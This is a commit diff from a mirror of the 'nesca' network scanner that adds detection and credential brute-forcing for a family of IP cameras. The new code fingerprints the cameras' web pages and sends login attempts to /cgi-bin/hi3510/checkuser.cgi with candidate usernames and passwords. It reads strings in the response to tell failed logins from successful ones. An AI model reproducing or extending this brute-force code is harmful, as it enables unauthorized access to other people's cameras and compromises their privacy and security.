mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
Добавлен детект ipCAM-камеры
This commit is contained in:
parent
4dd27f9605
commit
09220cde34
@ -1525,8 +1525,8 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
|||||||
++offlines;
|
++offlines;
|
||||||
|
|
||||||
stt->doEmitionRedFoundData("[Omitting IP] Select error - " +
|
stt->doEmitionRedFoundData("[Omitting IP] Select error - " +
|
||||||
QString(std::to_string((long double)cErrCode).c_str()) +
|
QString::number(cErrCode) +
|
||||||
" - " + QString(ip) + ":" + QString(std::to_string((long double)port).c_str()));
|
" - " + QString(ip) + ":" + QString::number(port));
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -1569,7 +1569,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
++offlines;
|
++offlines;
|
||||||
stt->doEmitionRedFoundData("Send error " + QString(ip) + " - " + QString(std::to_string((long double)WSAGetLastError()).c_str()));
|
stt->doEmitionRedFoundData("Send error " + QString(ip) + " - " + QString::number(WSAGetLastError()));
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
@ -1584,22 +1584,22 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
|||||||
else if(iError == 10049)
|
else if(iError == 10049)
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("[ADDR_NOT_AVAIL] " + QString(ip) +
|
stt->doEmitionRedFoundData("[ADDR_NOT_AVAIL] " + QString(ip) +
|
||||||
":" + QString(std::to_string((long double)port).c_str()) +
|
":" + QString::number(port) +
|
||||||
" - " + std::to_string((long double)iError).c_str());
|
" - " + QString::number(iError));
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("[Unpredictable error] " + QString(ip) +
|
stt->doEmitionRedFoundData("[Unpredictable error] " + QString(ip) +
|
||||||
":" + QString(std::to_string((long double)port).c_str()) +
|
":" + QString::number(port) +
|
||||||
" - " + std::to_string((long double)iError).c_str());
|
" - " + QString::number(iError));
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("[?!] Strange behavior detected - " +
|
stt->doEmitionRedFoundData("[?!] Strange behavior detected - " +
|
||||||
QString(std::to_string((long double)WSAGetLastError()).c_str()) +
|
QString::number(WSAGetLastError()) +
|
||||||
" - " + QString(ip) + ":" + QString(std::to_string((long double)port).c_str()));
|
" - " + QString(ip) + ":" + QString::number(port));
|
||||||
};
|
};
|
||||||
|
|
||||||
CSSOCKET(sock);
|
CSSOCKET(sock);
|
||||||
@ -2204,6 +2204,11 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
|
|||||||
{
|
{
|
||||||
negVector.push_back("Non-Existed");
|
negVector.push_back("Non-Existed");
|
||||||
}
|
}
|
||||||
|
else if(strcmp(SPEC, "IPCAM") == 0)
|
||||||
|
{
|
||||||
|
negVector.push_back("var check=\"0\"");
|
||||||
|
negVector.push_back("var authLevel =\"0\";");
|
||||||
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
|
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
|
||||||
@ -2366,6 +2371,22 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
|
|||||||
strcat(request, "\r\n\r\n");
|
strcat(request, "\r\n\r\n");
|
||||||
strcat(request, passString);
|
strcat(request, passString);
|
||||||
delete []passString;
|
delete []passString;
|
||||||
|
}
|
||||||
|
else if(strcmp(SPEC, "IPCAM") == 0)
|
||||||
|
{
|
||||||
|
strcpy(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name=");
|
||||||
|
strcat(request, login);
|
||||||
|
strcat(request, "&-passwd=");
|
||||||
|
strcat(request, pass);
|
||||||
|
strcat(request, "&-time=1416767330831 HTTP/1.1\r\nHost: ");
|
||||||
|
strcat(request, ip);
|
||||||
|
if(port != 80){
|
||||||
|
strcat(request, ":");
|
||||||
|
char tbuff[16] = {0};
|
||||||
|
strcat(request, itoa(port, tbuff, 10));
|
||||||
|
};
|
||||||
|
strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n");
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector);
|
int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector);
|
||||||
|
@ -292,6 +292,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
|
|||||||
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG???
|
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG???
|
||||||
if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk
|
if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk
|
||||||
if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server
|
if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server
|
||||||
|
if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL
|
||||||
|
&& strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam
|
||||||
|
|
||||||
if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL
|
if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL
|
||||||
|| strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL
|
|| strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL
|
||||||
@ -370,6 +372,8 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
|
|||||||
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG???
|
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG???
|
||||||
if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk
|
if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk
|
||||||
if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server
|
if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server
|
||||||
|
if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL
|
||||||
|
&& strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam
|
||||||
|
|
||||||
|
|
||||||
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
|
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
|
||||||
@ -1757,6 +1761,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
|||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "[DVS] Camera", "Web Authorization", cp, recd, "DVS");
|
_specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "[DVS] Camera", "Web Authorization", cp, recd, "DVS");
|
||||||
}
|
}
|
||||||
|
else if(flag == 48) //ipCAM
|
||||||
|
{
|
||||||
|
_specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "[ipCAM] Camera", "Web Authorization", cp, recd, "IPCAM");
|
||||||
|
}
|
||||||
else if(flag == 20) //AXIS Camera
|
else if(flag == 20) //AXIS Camera
|
||||||
{
|
{
|
||||||
_specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, "");
|
_specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, "");
|
||||||
|
Loading…
Reference in New Issue
Block a user